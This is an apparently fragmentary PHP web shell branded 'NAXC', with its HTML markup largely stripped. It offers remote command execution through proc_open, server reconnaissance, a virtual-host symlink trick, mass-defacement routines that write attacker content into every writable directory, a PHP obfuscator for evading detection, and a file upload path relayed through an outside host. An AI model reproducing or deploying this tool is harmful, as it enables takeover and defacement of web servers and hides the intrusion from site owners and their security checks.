&1"; if (!preg_match("/" . $ler . "/i", $cmd)) { $cmd = $cmd . " " . $ler; } $komen = $cmd; $pr = "proc_open"; if (function_exists($pr)) { $tod = @$pr($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $location); return true; } else { return false; } } } function ipserv() { if (empty($_SERVER['SERVER_ADDR'])) { return gethostbyname($_SERVER['SERVER_NAME']); if (empty(gethostbyname($_SERVER['SERVER_NAME']))) { return $_SERVER['SERVER_NAME']; } } else { return $_SERVER['SERVER_ADDR']; } } function deleteFolder($dir) { if (!is_dir($dir)) { return false; } // Scan all files and folders inside $items = array_diff(scandir($dir), ['.', '..']); foreach ($items as $item) { $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { deleteFolder($path); // recursive delete } else { unlink($path); // delete file } } return rmdir($dir); // finally remove the folder itself } function requests($url, $post = null) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if ($post) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); } curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); $error = curl_error($ch); curl_close($ch); if ($error) { return false; } return $response; } function ggr($fl) { $a = "fun" . "cti" . "on_" . "exis" . "ts"; $b = "po" . "si" . "x_ge" . "tgr" . "gid"; $c = "fi" . "le" . "gro" . "up"; if ($a($b)) { if (!$a($c)) { return "?"; } $d = $b(@$c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "?"; } else { return $e; } } else { return $d['name']; } } elseif ($a($c)) { return @$c($fl); } else { return "?"; } } function gor($fl) { $a = "fun" . "cti" . "on_" . "exis" . "ts"; $b = "po" . "s" . "ix_" . "get" . "pwu" . "id"; $c = "fi" . "le" . "o" . "wn" . "er"; if ($a($b)) { if (!$a($c)) { return "?"; } $d = $b(@$c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "?"; } else { return $e; } } else { return $d['name']; } } elseif ($a($c)) { return @$c($fl); } else { return "?"; } } function file_editor($path, $file, $content, $method) { $fileloc = $path . "/" . $file; $renamed = str_replace(".temporary", "", $file); unlink($path . "/" . $file); touch($fileloc); if ($method === 'basic') { if (error_log($content, 3, $fileloc)) { rename($fileloc, $path . "/" . $renamed); return true; } } else { if (execute("echo " . base64_encode($content) . " | base64 -d > '$renamed'", $path)) { return true; } } return false; } function sabun_biasa($location, $filename, $content) { if (is_writable($location)) { $dira = scandir($location); foreach ($dira as $dirb) { $dirc = "$location/$dirb"; $lokasi = $dirc . '/' . $filename; if ($dirb === '.') { file_put_contents($lokasi, $content); } elseif ($dirb === '..') { continue; } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo " http://$dirb/$filename
"; file_put_contents($lokasi, $content); } } } } } } function sabun_massal($serlok, $namafile, $isi_script) { if (is_writable($serlok)) { $dira = scandir($serlok); foreach ($dira as $dirb) { $dirc = "$serlok/$dirb"; $lokasi = $dirc . '/' . $namafile; if ($dirb === '.') { file_put_contents($lokasi, $isi_script); } elseif ($dirb === '..') { continue; } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "[DONE] $serlok
"; file_put_contents($lokasi, $isi_script); $idx = sabun_massal($dirc, $namafile, $isi_script); } } } } } } function php_obfuscator(string $code): string { if (preg_match('/^\s*<\?=\s*/i', $code)) { $code = preg_replace('/^\s*<\?=\s*/i', '\s*$/i', '', $code); $encoded = base64_encode(gzdeflate($code, 9)); $obfuscated = ''; for ($i = 0, $l = strlen($encoded); $i < $l; $i++) { if (rand(0, 3) === 0) { $obfuscated .= '\\x' . dechex(ord($encoded[$i])); } else { $obfuscated .= $encoded[$i]; } } $var = '$naxc' . substr(str_shuffle('abcdefghijklmnopqrstuvwxyz'), 0, 8); return << "$goto", "text" => "VIEW" ]; } header("Refresh:0; url=?path=" . $refreshTo); exit; } ?> ~NAXC~
$value) { $filename = basename($_FILES["nax"]["name"][$key]); $tempname = $_FILES["nax"]["tmp_name"][$key]; $upmethod = $_POST["upmethod"]; if ($upmethod === "basic_upload") { $dest = $path . "/" . $filename; $target = rtrim($path, '/\\') . '/' . basename($_FILES['nax']['name'][$key]); if (touch($dest) && @move_uploaded_file($_FILES['nax']['tmp_name'][$key], $target)) { if ($key == $total_files) { flash("success", ($total_files + 1) . " File(s) uploaded successfully!", $path . $toPage); } } else { flash("error", "Upload failed!", $path . $toPage); } } else { $remote_upload_url = "https://fcalpha.net/web/photo/20151024/temp/upload.php"; $postfields = ["nax" => new CURLFile($tempname, $_FILES["nax"]["type"][$key], $filename)]; $remote_upload = requests($remote_upload_url, $postfields); if ($remote_upload) { $uniqFile = json_decode($remote_upload, true)["file"]; $remote_url = "https://fcalpha.net/web/photo/20151024/temp/uploads/" . $uniqFile; if (requests($remote_url, null, $path . "/" . $filename) && file_exists($path . "/" . $filename) && filesize($path . "/" . $filename) > 0) { if ($key == $total_files) { flash("success", ($total_files + 1) . " File(s) uploaded successfully!", $path . $toPage); } } else { $file_content = base64_encode(requests($remote_url)); if (execute('echo "' . $file_content . '" | base64 -d > ' . $filename, $path)) { if ($key == $total_files) { flash("success", ($total_files + 1) . " File(s) uploaded successfully!", $path . $toPage); } } } } else { flash("error", "Upload failed!", $path . $toPage); } $delete_file = "https://fcalpha.net/web/photo/20151024/temp/delete.php"; requests($delete_file, [ "file" => $uniqFile ]); } } } ?>

System Information

  • Server IP:
  • Server Software:
  • PHP Version:
  • Current User:
  • Operating System:
  • Document Root:
  • Server Port:
  • Server Admin:
  • Command Line:
  • Loaded PHP Modules:
" required>
Command is empty"; } else { echo "Command: " . htmlspecialchars($coman) . "
"; $ler = "2>&1"; if (!preg_match("/" . $ler . "/i", $coman)) { $coman = $coman . " " . $ler; } $komen = $coman; $pr = "proc_open"; if (function_exists($pr)) { $tod = @$pr($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $path); echo "

"; } else { echo "proc_open function is disabled!!"; } } } } if (isset($_GET["action"]) && $_GET["action"] === "massdeface") { if (isset($_POST["massdeface"])) { if ($_POST['mass_type'] == 'mahal') { echo '
'; sabun_massal($path, $_POST['file_name'], $_POST['file_content']); echo "
"; } elseif ($_POST['mass_type'] == 'murah') { echo '
'; sabun_biasa($path, $_POST['file_name'], $_POST['file_content']); echo "
"; } } else { ?>
Input is empty"; } else { $decoded = base64_decode($b64decode); if ($decoded === false) { echo "Invalid Base64 string"; } else { ?>
Decoded Output:
Input is empty"; } else { $decoded = base64_encode($b64dencode); if ($decoded === false) { echo "Invalid Base64 string"; } else { ?>
Encoded Output:
Symlink Created: naxc_vhosts.txt
Check Here:

Bypass Options

Obfuscate PHP:

"; } else { $content = base64_decode($content); } if (file_editor($path, $filename, $content, $method)) { flash("success", "File created successfully!", $path . $toPage, "?path=$path&file=" . str_replace(".temporary", "", $filename) . "&action=edit&search=$search"); exit; } else { flash("error", "Failed to create file!"); } } } if (isset($_GET["action"]) && $_GET["action"] === "view" && isset($_GET["file"])) { $filePath = $path . "/" . $_GET["file"]; if (file_exists($filePath) && is_file($filePath)) { // Capture file output ob_start(); readfile($filePath); $fileContent = ob_get_clean(); ?>

File Content:

Image
Edit Unzip Chmod Delete
File does not exist or is not readable.

Bypass Options

Obfuscate PHP:

"; } else { $content = base64_decode($content); } if (file_editor($path, $filename, $content, $method)) { if ($filename == $file) { flash("success", "File updated successfully!", $path . "&file=" . str_replace(".temporary", "", $file) . "&action=edit" . $toPage); } else { flash("success", "File updated successfully!", $path . "&file=" . str_replace(".temporary", "", $filename) . "&action=edit" . $toPage); } exit; } else { flash("error", "Failed to update file!"); } } } else { ?>
File does not exist or is not writable.

Chmod File:

File does not exist or is not writable.
File does not exist or is not writable.
"; } } if (isset($_POST['download'])) { $file = base64_decode($_POST['download']); if (!is_file($file) || !file_exists($file)) { flash("error", "File not found!"); } // Clean output buffer (IMPORTANT) if (ob_get_level()) { ob_end_clean(); } header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Expires: 0'); readfile($file); exit; } if (isset($_GET["action"]) && $_GET["action"] === "unzip" && isset($_GET["file"])) { $filePath = $path . "/" . $_GET["file"]; if (file_exists($filePath) && is_file($filePath)) { $zip = new ZipArchive; if ($zip->open($filePath) === TRUE) { $extractPath = $path . "/" . pathinfo($filePath, PATHINFO_FILENAME); if (!is_dir($extractPath)) { mkdir($extractPath); } $zip->extractTo($extractPath); $zip->close(); flash("success", "File unzipped successfully!", $path . "/" . pathinfo($filePath, PATHINFO_FILENAME) . $toPage); } else { flash("error", "Failed to unzip file!"); } } else { flash("error", "File does not exist or is not readable!"); } } /* END FILE ACTIONS */ /* FOLDER ACTIONS */ if (isset($_GET["path"]) && @$_GET["action"] === "newfolder") { ?>

Rename Folder:

" required>
Folder does not exist or is not writable.

Chmod Folder:

Folder does not exist or is not writable.
Folder does not exist or is not writable."; } } /* END FOLDER ACTIONS */ ?>
FILE DIR
"; } // Folders foreach ($pagedItems as $folder) { if (is_file($path . DIRECTORY_SEPARATOR . $folder)) continue; $folderPath = $path . "/" . $folder; $folderPerms = substr(sprintf('%o', @fileperms($folderPath)), -4); ?>
Name Size Owner/Group Last Modified Permission Action
No matching files or folders found.
--- /
bytes /
Directory Is NOT Readable
1): ?>